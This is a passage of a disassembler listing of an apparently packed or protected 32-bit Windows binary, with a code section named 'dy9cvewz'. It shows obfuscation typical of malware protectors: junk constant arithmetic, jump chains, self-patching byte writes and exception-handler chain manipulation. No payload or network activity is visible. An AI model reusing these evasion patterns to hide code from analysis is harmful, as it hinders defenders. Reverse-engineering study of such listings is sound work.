		dd 168B0000h, 2C0CE9h, 81C28700h, 0E46AAECFh, 91FF8116h
		dd 0E99C47AFh, 1E0Fh
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48AD01

loc_48954D:				; CODE XREF: sub_48AD01+A5Ej
		rol	edi, 0Ah
		test	edi, 400000h
		jmp	loc_489F5C
; END OF FUNCTION CHUNK	FOR sub_48AD01
; ---------------------------------------------------------------------------
		align 4
		db 0
; ---------------------------------------------------------------------------

loc_48955D:				; CODE XREF: dy9cvewz:loc_48A3ADj
		call	ds:dword_45B0C0	; ExitProcess
		call	sub_48C8EE
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_48956A:				; CODE XREF: dy9cvewz:00488A70j
		jmp	near ptr dword_488014+2
; ---------------------------------------------------------------------------
		align 10h
		dd 1685A00h, 8787178Fh,	0F88B2404h, 5CF78158h, 0E9D896E0h
		dd 0FFFFEA95h
		db 0, 0C3h, 0

; =============== S U B	R O U T	I N E =======================================



sub_48958B	proc near		; CODE XREF: sub_488968+25p
					; dy9cvewz:0048BB40j

; FUNCTION CHUNK AT 0048B808 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0048C4E3 SIZE 00000025 BYTES

		xchg	eax, [esp+0]
		pop	eax
		push	ecx
		push	36F3BE3Bh
		pop	ecx
		jmp	loc_48C4E3
sub_48958B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
		db 0
; ---------------------------------------------------------------------------

loc_48959D:				; DATA XREF: dy9cvewz:004876E7o
		jmp	loc_48B753
; ---------------------------------------------------------------------------
		dw 0C300h
		dd 0F2E90000h, 0FFFFF0h, 0DF8DE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48AD01

loc_4895B2:				; CODE XREF: sub_48AD01-141j
		jmp	nullsub_434
; END OF FUNCTION CHUNK	FOR sub_48AD01

; =============== S U B	R O U T	I N E =======================================



sub_4895B7	proc near		; CODE XREF: dy9cvewz:loc_488824p
		call	sub_489347
		add	cl, ch
		mov	large ds:29h, al
		add	[edi+3582404h],	al ; CODE XREF:	dy9cvewz:loc_48A65Ej
		int	81h
		ror	ecx, 5Bh
		sahf
		mov	eax, ds:1468098Bh
		xchg	eax, esp
		dec	eax
		add	cl, ch
		aaa
		sldt	word ptr [eax]

locret_4895DC:				; CODE XREF: dy9cvewz:00489630j
		retn
sub_4895B7	endp

; ---------------------------------------------------------------------------
		align 2
		rol	ecx, 17h
		jmp	sub_4897A6
; ---------------------------------------------------------------------------
		dw 0F00h
		dd 0FFF97580h, 0AA3E9FFh, 81000000h, 1536D5E8h,	5C0C1B0h
		dd 2BF1E8h, 241C8700h, 8700C65Bh, 8F996858h, 0EEE90048h
		dd 18h,	0E90000C3h, 2F64h
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48ADB5

loc_48961E:				; CODE XREF: sub_48ADB5+14j
		jmp	loc_487785
; END OF FUNCTION CHUNK	FOR sub_48ADB5
; ---------------------------------------------------------------------------
		db 0E9h
; ---------------------------------------------------------------------------
		mov	eax, 87FFFFF8h
		adc	al, 24h
		push	offset byte_48BBC3
		jmp	locret_4895DC
; ---------------------------------------------------------------------------
		db 2 dup(0), 0C3h
		dd 800F0000h, 34C9h, 0E9007589h, 0FFFFF9FCh, 83E80000h
		dd 0E900000Ch, 19CBh
		db 0
; ---------------------------------------------------------------------------

loc_489655:				; CODE XREF: dy9cvewz:00488FB5j
		xchg	eax, edx
		xchg	edi, [esp]
		pop	edi
		push	ecx
		mov	ecx, ebp
		xchg	ecx, [esp]
		mov	ebp, esp
		jmp	loc_4888C4
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_48966A:				; CODE XREF: dy9cvewz:loc_487EC8j
		add	ebx, 4FE01093h
		jmp	loc_487721
; ---------------------------------------------------------------------------
		db 2 dup(0), 87h
		dd 75E92414h, 0Ah, 97EE800h, 0

; =============== S U B	R O U T	I N E =======================================



sub_489688	proc near		; CODE XREF: sub_48B8DE:loc_488662p

; FUNCTION CHUNK AT 00489822 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0048B1D3 SIZE 00000018 BYTES

		call	sub_48B3BA
		jmp	loc_489822
sub_489688	endp

; ---------------------------------------------------------------------------
		align 4

loc_489694:				; CODE XREF: dy9cvewz:00488634j
		jmp	locret_48A18D
; ---------------------------------------------------------------------------
		db 2 dup(0), 81h
		dd 7BC08D3h, 0FA63E9ECh, 0FFFFh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_488FD4

loc_4896A8:				; CODE XREF: sub_488FD4:loc_48B88Dj
		mov	byte ptr [eax],	87h
		pop	eax
		mov	edx, ebp

loc_4896AE:				; DATA XREF: sub_488FD4+8o
		in	eax, dx
		adc	al, 24h
		jmp	loc_48BE9A
; END OF FUNCTION CHUNK	FOR sub_488FD4
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_487A52

loc_4896B8:				; CODE XREF: sub_487A52+3751j
		call	sub_48BB9F
; END OF FUNCTION CHUNK	FOR sub_487A52
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------

loc_4896BE:				; CODE XREF: sub_48C012+5p
		call	sub_48789B
		add	cl, ch
; ---------------------------------------------------------------------------
		db 0C5h, 0E5h, 0FFh
		dd 570000FFh, 7957E168h, 0C7C15F8Eh, 2832E915h,	0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48B3BA

loc_4896DC:				; CODE XREF: sub_48B3BA:loc_48C444j
		push	edi
		mov	edi, ebx

loc_4896DF:				; CODE XREF: dy9cvewz:0048A7E0j
		xchg	edi, [esp+0Ch+var_C]
		mov	ebx, offset loc_48862E
		jmp	loc_48A7A3
; END OF FUNCTION CHUNK	FOR sub_48B3BA
; ---------------------------------------------------------------------------
		dd 0D8BB0000h, 0E9A42984h, 2375h
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48BE85

loc_4896FA:				; CODE XREF: sub_48BE85:loc_48757Cj
		add	eax, ebp
		add	eax, 0BACBA883h
		mov	eax, [eax]
		popf
		push	esi
		pushf
		push	0CABB695Ch
		pop	esi
		jmp	loc_48B9D1
; END OF FUNCTION CHUNK	FOR sub_48BE85
; ---------------------------------------------------------------------------

loc_489712:				; CODE XREF: dy9cvewz:00488DA3j
		mov	byte ptr [eax],	31h
		pop	eax
		push	offset loc_48C310
		jmp	loc_48BE1F
; ---------------------------------------------------------------------------

loc_489720:				; CODE XREF: dy9cvewz:00488167j
		add	ecx, 5A3B7991h
		add	edi, ecx
		pop	ecx
		mov	[edi], eax
		pop	edi
		pop	ecx
		push	offset loc_489770
		jmp	loc_4897E3
; ---------------------------------------------------------------------------
		align 4
		dd 9C00C600h, 19C0C158h, 0FD08C081h, 0D050C239h, 6A459368h
		dd 0A0E958D6h, 81FFFFFEh, 43418AE2h, 0B8F28144h, 819B6583h
		dd 2C4A7EE2h, 0E76856DFh, 0E92AFE86h, 0FFFFF1CCh
; ---------------------------------------------------------------------------

loc_489770:				; DATA XREF: dy9cvewz:0048972Do
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_48B8DE

loc_489774:				; CODE XREF: sub_48B8DE-319Dj
					; sub_48AFE5-1E11j
		pop	large dword ptr	fs:0
		call	sub_48CB1E
; END OF FUNCTION CHUNK	FOR sub_48B8DE
; ---------------------------------------------------------------------------
		dd 7C60000h, 0A0685F87h, 0E90048C2h, 2B0Eh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_487E6B

loc_489790:				; CODE XREF: sub_487E6B-A02j
		mov	byte ptr [edx],	87h
		pop	edx
		push	0C0177F99h
		pop	esi
		add	esi, 7D067AA3h
		jmp	loc_489CA4
; END OF FUNCTION CHUNK	FOR sub_487E6B
; ---------------------------------------------------------------------------
		align 2

; =============== S U B	R O U T	I N E =======================================



sub_4897A6	proc near		; CODE XREF: dy9cvewz:004895E1j
					; sub_48B3BA:loc_48A7A3p

; FUNCTION CHUNK AT 004892D1 SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		mov	byte ptr [ebx],	9Ch
		pop	ebx
		push	offset byte_48A145
		jmp	loc_4892D1
sub_4897A6	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_552. PRESS KEYPAD	"+" TO EXPAND]
		dw 0E900h
		dd 0FFFFFB6Bh, 0FFE444E9h, 8B00FFh, 48AFBF68h, 0E9CAE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48AD01

loc_4897D2:				; CODE XREF: sub_48AD01-27A1j
		jp	loc_48BA28
		call	sub_488895

loc_4897DD:				; CODE XREF: dy9cvewz:0048A053j
		jmp	loc_487FD3
; END OF FUNCTION CHUNK	FOR sub_48AD01
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------

loc_4897E3:				; CODE XREF: dy9cvewz:00489732j
		jmp	near ptr dword_487C04+2
; ---------------------------------------------------------------------------
		dd 81C30000h, 3D66E9C0h, 0FC07B88h, 0FFFC6484h,	0A56857FFh
		dd 5F6DBB6Eh, 0BDB5F781h, 5CE91B7Eh, 22h, 0B89DA568h, 0C7C15FCCh
		dd 36C78111h, 0E9C4FD2Ch, 0F77h
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_489688

loc_489822:				; CODE XREF: sub_489688+5j
		call	sub_48C532

loc_489827:				; CODE XREF: dy9cvewz:0048C624j
		jmp	loc_48B1D3
; END OF FUNCTION CHUNK	FOR sub_489688
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48BA84

loc_48982D:				; CODE XREF: sub_48BA84+11j
		push	ecx
		push	46514412h
		pop	ecx
		or	ecx, 0AAF1B1A2h
		jmp	loc_48C85A
; END OF FUNCTION CHUNK	FOR sub_48BA84
; ---------------------------------------------------------------------------
		align 10h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48C5B9

loc_489841:				; CODE XREF: sub_48C5B9+10j
		xor	ecx, 2B7C2B1Eh
		rol	ecx, 3
		and	ecx, 0AD3F971Ah
		add	ecx, 0D6E47F54h
		push	offset word_48C3C2
		jmp	loc_48887E
; END OF FUNCTION CHUNK	FOR sub_48C5B9
; ---------------------------------------------------------------------------
		dd 0F5E0000h, 0FFF19E84h, 0EB9968FFh, 53582856h, 4875FFBBh
		dd 1BE5E900h, 0

; =============== S U B	R O U T	I N E =======================================



sub_48987C	proc near		; CODE XREF: dy9cvewz:0048BEADj
					; sub_48AAB3+20ADp

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00487646 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004889CB SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00488EFE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0048A0ED SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0048A495 SIZE 00000014 BYTES

		xchg	edx, [esp-4+arg_0]
		pop	edx
		push	0C550391Eh
		pop	edx
		and	edx, 3CA6A91Eh
		push	ecx
		jmp	loc_487646
sub_48987C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dw 9900h
; ---------------------------------------------------------------------------

loc_489894:				; CODE XREF: dy9cvewz:0048A008j
		jmp	sub_48B8AB
; ---------------------------------------------------------------------------

loc_489899:				; CODE XREF: dy9cvewz:loc_48B56Fj
		mov	eax, [eax]
		push	edi
		mov	edi, ebx
		xchg	edi, [esp]
		push	0EAFB9181h
		pop	ebx
		rol	ebx, 1Fh
		add	ebx, 0A823741h
		jmp	near ptr dword_487A90+11h
; ---------------------------------------------------------------------------
		db    0
		db    0

; =============== S U B	R O U T	I N E =======================================



sub_4898B7	proc near		; CODE XREF: dy9cvewz:0048854Bp
					; dy9cvewz:0048B7F8j

; FUNCTION CHUNK AT 0048A459 SIZE 00000011 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		push	5373F4E6h
		pop	esi
		xor	esi, 56355E01h
		or	esi, 0D378DF11h
		jnz	near ptr dword_48774C+8
		add	[eax-53h], ch
		db	66h
		pop	ss
		sub	ch, cl
		outsd
		fdivp	st(7), st
		inc	dword ptr [eax]
		test	ebp, 61856571h
		jmp	loc_48A459
sub_4898B7	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dw 8700h
		dd 0CAE6813Ah, 0E98FD614h, 1BDFh, 0F267840Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48BB9F

loc_4898FE:				; CODE XREF: sub_48BB9F+1Dj
		jmp	loc_48B46B
; END OF FUNCTION CHUNK	FOR sub_48BB9F
; ---------------------------------------------------------------------------
		align 4
		dd 20E5E900h, 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_489D5C

loc_48990C:				; CODE XREF: sub_489D5C+Aj
		jmp	loc_48C6AB
; END OF FUNCTION CHUNK	FOR sub_489D5C
; ---------------------------------------------------------------------------
		db 2 dup(0), 68h
		dd 0ADA4D915h, 0FFF242E9h
		db 0FFh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_48991F:				; DATA XREF: sub_4881E5+Co
		push	ecx
		push	5857848Eh
		pop	ecx
		and	ecx, 0BA6BCBD0h
		xor	ecx, 9A6F908Eh
		add	ecx, 111ABE83h
		push	eax
		mov	eax, edx
		jmp	loc_48A0D5
; ---------------------------------------------------------------------------
		db 2 dup(0)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_536. PRESS KEYPAD	"+" TO EXPAND]
		db 0C6h
		dd 6858FC00h, 48A93Eh, 0FFF635E9h, 298900FFh, 8118EAC1h
		dd 0A433FFCAh, 9EF28150h, 0E813E30Dh, 1BA2h, 0F002E900h
		dd 8F64FFFFh, 5, 4C48300h, 63FC9F68h, 0B9515857h, 48AC07h
		dd 0C8EE9h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_487CB5

loc_489989:				; CODE XREF: sub_487CB5+4116j
		pop	edi
		xor	edi, 1B4BD7C0h
		sub	edi, 528325D7h
		add	edi, 0BA67621Ah
		add	eax, edi
		call	sub_48C012
		add	[edx-3Fh], bl	; CODE XREF: dy9cvewz:loc_489FE3j
		retn	810Ah
; END OF FUNCTION CHUNK	FOR sub_487CB5
; ---------------------------------------------------------------------------
		db 0E2h, 43h, 5Ch
; ---------------------------------------------------------------------------
		pop	ds
		adc	eax, 811DC2C1h
		retn	8899h
; ---------------------------------------------------------------------------
		db 83h,	8Eh, 81h
		dd 7C2C5EF2h, 2414870Fh, 48A27E68h, 2F54E900h, 0C6000000h
		db 6, 87h, 5Eh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		call	sub_48AE73
; ---------------------------------------------------------------------------
		db 0
		db 0
; ---------------------------------------------------------------------------

loc_4899D9:				; CODE XREF: dy9cvewz:004882B6j
		jbe	locret_4890CC

; =============== S U B	R O U T	I N E =======================================



sub_4899DF	proc near		; CODE XREF: sub_488968+3p

; FUNCTION CHUNK AT 0048A5C5 SIZE 0000000A BYTES

		xchg	esi, [esp+0]
		pop	esi
		pop	eax
		js	loc_48A5C5
		mov	edx, [eax]
		push	offset loc_487E5E
		jmp	nullsub_425
sub_4899DF	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
		xchg	ebx, [esp]
		pop	ebx
		call	ds:dword_45B0C0	; ExitProcess
		push	eax
		push	0D56E3C52h
		jmp	loc_4875E0
; ---------------------------------------------------------------------------
		align 2
		or	ebx, 0C3AC7DB6h
		jmp	sub_4883EC
; ---------------------------------------------------------------------------
		db 2 dup(0), 33h
		dd 240C87DEh, 241C8759h, 1165E9h, 68000000h, 85E01EA2h
		dd 6C0C158h, 57E9h, 0E95E0000h,	21D5h, 84BFC7F7h, 27E9EB52h
		dd 0FFFFDCh, 0E99C5700h, 0FFFFF863h, 27DE8C0Fh,	55000000h
		dd 27D5E9h
		db 2 dup(0)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_533. PRESS KEYPAD	"+" TO EXPAND]
		align 4
		db 0
; ---------------------------------------------------------------------------

loc_489A65:				; CODE XREF: dy9cvewz:0048C763j
		jmp	loc_48C83F
; ---------------------------------------------------------------------------
		align 4
		dd 0EBDBE99Ch, 338BFFFFh, 2576E9h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_489A7A:				; DATA XREF: sub_48BA3A-16B9o
		push	edi
		mov	edi, 48B07Fh
		jmp	loc_4886E8
; ---------------------------------------------------------------------------

loc_489A85:				; DATA XREF: sub_48AD01-DFDo
		push	esi
		mov	esi, offset loc_48B8FE
		jmp	loc_488C20
; ---------------------------------------------------------------------------
		push	4897EBh
		jmp	locret_48C0A1
; ---------------------------------------------------------------------------
		align 4
		not	ebp
		jmp	sub_48B011
; ---------------------------------------------------------------------------
		align 4
		db 0
; ---------------------------------------------------------------------------

loc_489AA5:				; CODE XREF: dy9cvewz:00489ADEj
		add	eax, 47577E11h
		and	eax, 0F7E0487Ch
		xor	eax, 5620402Ah
		call	sub_487E6B
		add	cl, ch
		sar	ah, 0FFh
		inc	dword ptr [eax]
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------

loc_489AC4:				; CODE XREF: dy9cvewz:loc_48C2FDj
		mov	byte ptr [eax],	83h
		pop	eax
		pop	large dword ptr	fs:0

loc_489ACF:				; DATA XREF: dy9cvewz:00489292o
		daa
		les	eax, [eax+ebp*2]
		in	al, dx
		test	[edx+0Fh], dl
		pop	eax
		sub	eax, 831185h
		jmp	loc_489AA5
; ---------------------------------------------------------------------------
		align 4
		db 0
byte_489AE5	db 83h,	78h, 10h	; DATA XREF: sub_48C424:loc_48C336o
		dd 0B4840F00h, 0E9FFFFFAh, 0FFFFDA28h
		db 2 dup(0)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_534. PRESS KEYPAD	"+" TO EXPAND]
		align 4

loc_489AF8:				; CODE XREF: dy9cvewz:00488647j
		jmp	loc_48A1CA
; ---------------------------------------------------------------------------
		align 2

loc_489AFE:				; DATA XREF: sub_48C782-48EDo
		add	ecx, 45338ADAh
		mov	[ecx], eax
		call	sub_48C92B
		retn
; ---------------------------------------------------------------------------
		dd 0B8E90000h, 0FFFFDCh, 297EE99Dh
		db 2 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_489B1A	proc near		; CODE XREF: sub_489347:loc_48B9AEp

; FUNCTION CHUNK AT 00489B51 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0048B362 SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		mov	byte ptr [eax],	0Fh
		pop	eax
		rol	ecx, 13h
		xor	ecx, 1723E150h
		add	ecx, 66410BD8h
		xor	ecx, 8D42CBF7h
		jmp	loc_48B362
sub_489B1A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dd 97E2F781h, 0FD103A5Ah, 97DFC781h, 0CEE8124Ah, 0FFFFF7h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_489B1A

loc_489B51:				; CODE XREF: sub_489B1A:loc_48B362j
		add	eax, ecx
		push	offset byte_48C509
		jmp	nullsub_537
; END OF FUNCTION CHUNK	FOR sub_489B1A
; ---------------------------------------------------------------------------
		align 2

loc_489B5E:				; DATA XREF: sub_488EA0+1B86o
		add	eax, 541D0322h
		push	488615h
		jmp	loc_48BE1A
; ---------------------------------------------------------------------------
		dw 8100h
		dd 1FC93AC6h, 0D70E920h, 0F000000h, 0FFF07C8Eh,	21E9E9FFh
		dd 87000000h, 685E2434h, 3C5D61B3h, 0E4E8E95Ah
		db 2 dup(0FFh),	0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48AD01

loc_489B97:				; CODE XREF: sub_48AD01+626j
		jz	loc_48B69B
; END OF FUNCTION CHUNK	FOR sub_48AD01
; ---------------------------------------------------------------------------
		db 2 dup(0), 81h
		dd 896C61D6h, 2B0E8BD9h, 2E5C1DFh, 1AE5E9h, 99000000h
		dd 239CE9h, 78516800h, 815A1CDFh, 886669E2h, 0F18B569Ah
		dd 0E9243487h, 1088h, 1648E5BFh, 0E91389F5h, 1D67h, 85C28100h
		dd 0E96CBC8Ah, 36Eh
; ---------------------------------------------------------------------------

loc_489BE8:				; DATA XREF: sub_48A96C+1577o
		add	eax, 46A13EBh
		or	eax, eax
		jz	loc_48945D
		jmp	loc_48CB65
; ---------------------------------------------------------------------------
		align 4
		sub	edx, ebx
		push	0FDB2388Ch
		jmp	sub_48B37A
; ---------------------------------------------------------------------------
		dd 0EF23E95Bh
		db 2 dup(0FFh),	0

; =============== S U B	R O U T	I N E =======================================



sub_489C0F	proc near		; CODE XREF: sub_48C532+10p
		xchg	ebx, [esp+0]
		push	offset loc_48A107
		jmp	nullsub_426
sub_489C0F	endp

; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48AAB3

loc_489C1E:				; CODE XREF: sub_48AAB3-219Bj
					; sub_48AAB3:loc_48A836j
		push	offset sub_48C699
		jmp	nullsub_550
; END OF FUNCTION CHUNK	FOR sub_48AAB3
; ---------------------------------------------------------------------------
		dd 3C60000h, 0E0815BC7h, 56566DC5h, 0B2AF081h, 0DEE8370Ch
		dd 18h,	4C48300h, 5464F768h, 0E081584Dh, 0DF9270AEh, 283E9h
		db 3 dup(0)
; ---------------------------------------------------------------------------

loc_489C57:				; CODE XREF: dy9cvewz:00489421j
		push	0B4508009h
		pop	eax
		add	eax, 6B49E571h
		or	eax, 0A585D056h
		jmp	loc_48ACA4
; ---------------------------------------------------------------------------
		dw 8B00h
		dd 0F6CFE93Bh, 850FFFFFh, 0FFFFFC22h, 59240C87h, 0F41FED68h
		dd 83E95E09h, 0FFFFFEh,	0E9243C87h, 2DD5h, 0D0680000h
		dd 0E9004874h, 0FFFFEA7Ah
		db 0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_566. PRESS KEYPAD	"+" TO EXPAND]
		align 4
; START	OF FUNCTION CHUNK FOR sub_487E6B

loc_489CA4:				; CODE XREF: sub_487E6B+1935j
		jmp	loc_487D33
; END OF FUNCTION CHUNK	FOR sub_487E6B
; ---------------------------------------------------------------------------
		db 0Fh,	8Dh, 6Ah
		dd 0E9FFFFF4h, 998h
		db 0
; ---------------------------------------------------------------------------

locret_489CB5:				; CODE XREF: dy9cvewz:loc_488C26j
		retn
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------

loc_489CB7:				; DATA XREF: dy9cvewz:00487471o
		push	edx
		mov	edx, edi
		xchg	edx, [esp]
		mov	edi, offset loc_48A607
		jmp	loc_48BA06
; ---------------------------------------------------------------------------
		align 4
		dd 8B07C600h, 8B240C87h, 0E06859F9h, 0E9004880h, 21B8h
		db 2 dup(0)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_441. PRESS KEYPAD	"+" TO EXPAND]
		align 10h
		db 0, 0F7h, 0D7h

; =============== S U B	R O U T	I N E =======================================



sub_489CE3	proc near		; CODE XREF: sub_48C92B+Ap
		xchg	esi, [esp+0]
		pop	esi
		pushf
		push	0E66A454Ah
		pop	eax
		jmp	near ptr dword_488A80+20h
sub_489CE3	endp

; ---------------------------------------------------------------------------
		align 4
		dd 241C8700h, 8B240C87h, 0B85059D9h, 488111h, 0FFFC3AE9h
		dd 0E9C71BFFh, 0FFFFE7B6h, 32BD0000h, 81066240h, 877AD3DBh
		dd 7DF68B1h, 0C1587DF3h, 87E908C0h, 0FFFFD7h
; ---------------------------------------------------------------------------

loc_489D2C:				; CODE XREF: dy9cvewz:004883E0j
		mov	byte ptr [eax],	0C3h
		pop	eax
		pop	ebx
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_557. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48739A

loc_489D32:				; CODE XREF: sub_48739A+7j
		jmp	nullsub_556
; END OF FUNCTION CHUNK	FOR sub_48739A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48AD01

loc_489D37:				; CODE XREF: dy9cvewz:0048B2B4j
					; sub_48AD01+1C8Cj
		push	0ED7D25A3h
		pop	eax
		or	eax, 0CB73D919h
		jmp	loc_489EF5
; END OF FUNCTION CHUNK	FOR sub_48AD01
; ---------------------------------------------------------------------------
		dd 0E9DE3B00h, 0FFFFE7B0h, 7C60000h, 0DD22E887h, 0FFFFh

; =============== S U B	R O U T	I N E =======================================



sub_489D5C	proc near		; CODE XREF: sub_48CB03+9p

; FUNCTION CHUNK AT 0048990C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0048C6AB SIZE 0000001B BYTES

		xchg	esi, [esp+0]
		pop	esi
		push	ebx
		mov	ebx, 488071h
		jmp	loc_48990C
sub_489D5C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
		dd 243C8700h, 0F88B575Fh, 266FE9h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48AAB3

loc_489D79:				; CODE XREF: sub_48AAB3:loc_48C676j
		xor	eax, edi

loc_489D7B:				; CODE XREF: sub_48AD01+1B1Fp
		xchg	ebx, [esp+8+var_8]
		pop	ebx
		call	sub_48AE49
; END OF FUNCTION CHUNK	FOR sub_48AAB3
; ---------------------------------------------------------------------------
		dd 830F0000h, 0FFFFFE20h, 0B227BF5Fh, 8E0F73BAh, 2092h
		dd 99F31268h, 10E0E9EEh, 0
		dd 0A18850Fh, 77E90000h, 0FFFFEFh
		db 0
byte_489DB1	db 87h,	0Ch, 24h	; DATA XREF: sub_48A1F1o
		dd 8B241487h, 689D5ACAh, 4883AEh, 0FFE5E8E9h, 0C18100FFh
		dd 8B90F5A6h, 0FFE1A4E9h, 0C3FFh, 0FFDEC8E9h
		db 0FFh, 2 dup(0)
		db 56h			; DATA XREF: sub_48AEE2+8o
		dd 6AD7A868h, 0E6815E21h, 5F368609h, 4477C681h,	0A3E9FF26h
		dd 0FFFFEFh, 0B82C181h,	1487DE32h, 242C8724h, 0E95DD58Bh
		dd 0FFFFFAFDh, 4E900C3h, 0FFFFE1h, 87241487h, 0D58B242Ch
		dd 87128B5Dh, 58E82414h, 33FFFFF4h
		db 0CDh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48B011

loc_489E25:				; CODE XREF: sub_48B011:loc_48A078j
		xor	edi, 66705A6Ah
		call	sub_48ACED
		add	cl, ch		; CODE XREF: dy9cvewz:00489FC5j
		std
		out	dx, al
; END OF FUNCTION CHUNK	FOR sub_48B011
; ---------------------------------------------------------------------------
		dd 0C600FFFFh, 34872C00h, 5EC68B24h, 7F5E9h, 1C60000h
		dd 2168599Dh, 878B333Dh, 0C18B240Ch, 8E3E9h, 87000000h
		dd 0C38B241Ch, 4AE8815Bh, 819287C1h, 8879D1C0h,	0FEFBE802h
		dd 0FFFFh, 0F6768D0Fh, 31E9FFFFh
		db 0F2h, 2 dup(0FFh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_535. PRESS KEYPAD	"+" TO EXPAND]
		dd 0EA130000h, 6F7E9h, 992C0000h, 0EFE80968h, 0CA815ADFh
		dd 7CB58734h, 171DE9h, 8D0F0000h, 0FFFFEA5Ch, 58BE900h
		dd 81000000h, 6810F9F8h, 632E92Fh
		db 2 dup(0)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_560. PRESS KEYPAD	"+" TO EXPAND]
		align 4
		dd 0FFE007E9h, 108BE9FFh
		db 3 dup(0)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_529. PRESS KEYPAD	"+" TO EXPAND]
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_489EC6:				; CODE XREF: dy9cvewz:00488197j
		jmp	locret_48A2B4
; ---------------------------------------------------------------------------
		align 4
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_488FD4

loc_489ECD:				; CODE XREF: sub_488FD4-3A6j
		push	offset loc_48ACBC
		jmp	loc_4884D8
; END OF FUNCTION CHUNK	FOR sub_488FD4
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		or	eax, 688A1426h
		xor	eax, 6D9A74F6h
		push	ecx
		mov	ecx, ebx
		jmp	loc_48A13A
; ---------------------------------------------------------------------------
		dd 0E9EE2B00h, 0FFFFF41Bh
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48AD01

loc_489EF5:				; CODE XREF: sub_48AD01-FBEj
		xor	eax, 4C8764FCh
		rol	eax, 3
		sub	eax, 678A0923h
		push	offset loc_489A85
		jmp	nullsub_442
; END OF FUNCTION CHUNK	FOR sub_48AD01
; ---------------------------------------------------------------------------
		dw 0F00h		; CODE XREF: dy9cvewz:loc_48C476j
; ---------------------------------------------------------------------------
		mov	word ptr [esi+0FFFFDAh], ss
; START	OF FUNCTION CHUNK FOR sub_48AD01

loc_489F16:				; CODE XREF: sub_48AD01+1176j
		jmp	nullsub_436
; END OF FUNCTION CHUNK	FOR sub_48AD01
; ---------------------------------------------------------------------------
		align 4
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48AD5E

loc_489F1D:				; CODE XREF: sub_48AD5E-77j
		jmp	nullsub_526
